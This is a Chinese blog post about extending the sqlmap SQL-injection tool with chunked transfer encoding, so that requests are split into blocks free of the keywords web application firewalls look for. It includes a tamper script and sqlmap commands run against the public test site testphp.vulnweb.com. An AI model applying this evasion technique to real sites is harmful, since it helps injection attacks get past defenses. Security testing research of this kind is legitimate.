Skip to content

给sqlmap插上chunk transfer的翅膀

字数
575 字
阅读时间
3 分钟
更新日期
3/16/2019

最近在研究sqlmap,好早就看到这篇 https://www.t00ls.net/thread-50229-1-1.html ,今天有空测试一下,主要是看sqlmap的原因。

因为要替换payload,首先想到是编写一个tamper, 因为是用于测试目的,主要打印几个关键点就行了

python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 5:45 PM
# @Author  : w8ay
# @File    : chunk.py

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from random import sample

__priority__ = PRIORITY.NORMAL


def dependencies():
    pass


def randomIP():
    numbers = []

    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in numbers)


def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["Transfer-Encoding"] = "Chunked"
    print "tamper"
    print payload
    # return payload
    payload = "\r\n" + "2" + "\r\n" + "id" + "\r\n" + "0" + "\r\n\r\n"
    return payload

sqlmap命令
-u "http://testphp.vulnweb.com/login.php" --tamper chunkaaa.py --data "uname=asd&pass=111&submit=Submit" -v 4

返回WX20190316-095217<a href=">

可以看到chunked是添加上了的,但是payload被转换成了参数,猜测tamper的机制只是替换payload中的某个参数,而不是整个替换,由于不符合chunk的规则,所以报错了。

暂时想通过sqlmap来好像无解..

原生支持

那么尝试下在sqlmap中直接集成这种功能呢。sqlmap的通用发包函数是lib/request/connect.pygetPage函数,通过调试了解到是整个访问请求是封装的urllib2。

这里有一个坑就是如果只用urllib2发送分块,最后抓包的时候都会带有content-legnth,花了好长时间定为发现在httplib和urllib2的请求中,都会检查是否存在content-legnth请求,没有会自动添加…

最后用hook解决了这些问题,最后分块生成使用的是https://www.t00ls.net/thread-50185-1-1.html ,会自动将提交的数据转换为chunk的形式,并且按照会关键词分割,确保每个块中不会包含关键词。

最后的效果

给sqlmap添加了一个参数—chunk,在进行post注入时,添加这个参数会自动将请求包转换成chunk包的形式,并且每个块中不会包含敏感的关键词。

测试

python sqlmap.py  -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=asd&pass=qe&submit=Submit" --random-agent --chunk

image-20190316173927465

噢对了,写好的脚本在https://github.com/boy-hack/sqlmap 已经给官方提交pr了。

撰写

布局切换

调整 VitePress 的布局样式,以适配不同的阅读习惯和屏幕环境。

全部展开
使侧边栏和内容区域占据整个屏幕的全部宽度。
全部展开,但侧边栏宽度可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
全部展开,且侧边栏和内容区域宽度均可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
原始宽度
原始的 VitePress 默认布局宽度

页面最大宽度

调整 VitePress 布局中页面的宽度,以适配不同的阅读习惯和屏幕环境。

调整页面最大宽度
一个可调整的滑块,用于选择和自定义页面最大宽度。

内容最大宽度

调整 VitePress 布局中内容区域的宽度,以适配不同的阅读习惯和屏幕环境。

调整内容最大宽度
一个可调整的滑块,用于选择和自定义内容最大宽度。

聚光灯

支持在正文中高亮当前鼠标悬停的行和元素,以优化阅读和专注困难的用户的阅读体验。

ON开启
开启聚光灯。
OFF关闭
关闭聚光灯。

聚光灯样式

调整聚光灯的样式。

置于底部
在当前鼠标悬停的元素下方添加一个纯色背景以突出显示当前鼠标悬停的位置。
置于侧边
在当前鼠标悬停的元素旁边添加一条固定的纯色线以突出显示当前鼠标悬停的位置。